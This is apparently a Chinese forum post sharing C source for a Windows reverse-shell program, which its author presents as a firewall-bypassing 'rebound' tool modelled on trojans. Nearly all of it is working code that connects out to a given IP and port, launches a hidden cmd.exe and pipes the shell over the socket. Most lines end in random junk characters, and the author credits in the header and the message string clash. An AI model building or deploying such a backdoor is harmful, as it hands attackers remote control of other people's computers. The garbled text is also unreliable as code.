这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~$,qgf
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/* ============================== dA~
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Rebound port in Windows NT 5K%Wa]W
By wind,2006/7 ~Ci{3j :]
===============================*/ iz[gHB
#include MgMD\
#include | A)\
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#pragma comment(lib,"wsock32.lib") L"(4R^]
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void OutputShell(); D-p.kA3MJ
SOCKET sClient; zTm]AG|0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^A_;#vK
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void main(int argc,char **argv) (P|pRVO
{ !nf-}ze{
WSADATA stWsaData; ?&+9WJ<M
int nRet; :!TIK1
SOCKADDR_IN stSaiClient,stSaiServer; FY3IUG
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if(argc != 3) 2umv|]n+l|
{ v3[@1FQ"
printf("Useage:\n\rRebound DestIP DestPort\n"); TLa]O1=Bf.
return; iw?I
} Tl("IhkC
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WSAStartup(MAKEWORD(2,2),&stWsaData); OjE`1h\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3`.P'Fh(k
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stSaiClient.sin_family = AF_INET; :D:DnVZ-[@
stSaiClient.sin_port = htons(0); f>$``.O
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )7c b6jCU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |UUdz_i!:
{ P5<vf
printf("Bind Socket Failed!\n"); aoW6U{\
return; W7No ls{
} ki]ti={12
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stSaiServer.sin_family = AF_INET; $4=f+ "z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RVw9Y*]b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); clO,}Ph>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7 A$B{
{ vb{i
printf("Connect Error!"); r#i?j}F}
return; \_6OC Vil
} ,El!fgL
OutputShell();
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} $14:(<
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void OutputShell() ~+F;q
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{ ?9+@+q
char szBuff[1024]; rJyCw+N0
SECURITY_ATTRIBUTES stSecurityAttributes; 3(E
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OSVERSIONINFO stOsversionInfo; "f.Z}AbP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IZ,oM!Y
STARTUPINFO stStartupInfo; |,C#:"z;
char *szShell; }WLh8i?_
PROCESS_INFORMATION stProcessInformation; dI'SwnR
unsigned long lBytesRead; JH,/jR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k"UO c=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ut@RGg+f8
stSecurityAttributes.lpSecurityDescriptor = 0; N3BL3:@O
stSecurityAttributes.bInheritHandle = TRUE; OR6ML-|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M)-6T{[IT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \ gwXH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &n2e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Y:/=
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stStartupInfo.wShowWindow = SW_HIDE; l~:v
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stStartupInfo.hStdInput = hReadPipe; :fcM:w&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c,EBF\r8*
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GetVersionEx(&stOsversionInfo); =JLh?Wx
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switch(stOsversionInfo.dwPlatformId) SUCUP<G
{ Pz_Oe,{.I
case 1: /lhz],w
szShell = "command.com"; }Nj97R
break; j1$8#/r;c
default: >c8GW
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szShell = "cmd.exe"; |`k
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break; <E|s\u
} ^y.nDs%ZT7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rt-\g1x
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send(sClient,szMsg,77,0); 4p`XG1Pt
while(1) #EO1`9f48x
{ e9pOisZ;8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G`h+l<
if(lBytesRead) 'vV$]/wBF
{ B/f0P(7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }alj[)
send(sClient,szBuff,lBytesRead,0); <~emx'F|
} #^#Kcg
else I`RBj `IF
{ vE, 37
lBytesRead=recv(sClient,szBuff,1024,0); rnFM/GAy
if(lBytesRead<=0) break; Et2JxbD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kT IYD o
} +%>:0mT
} n^(A=G
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return; bKVj [r8D~
}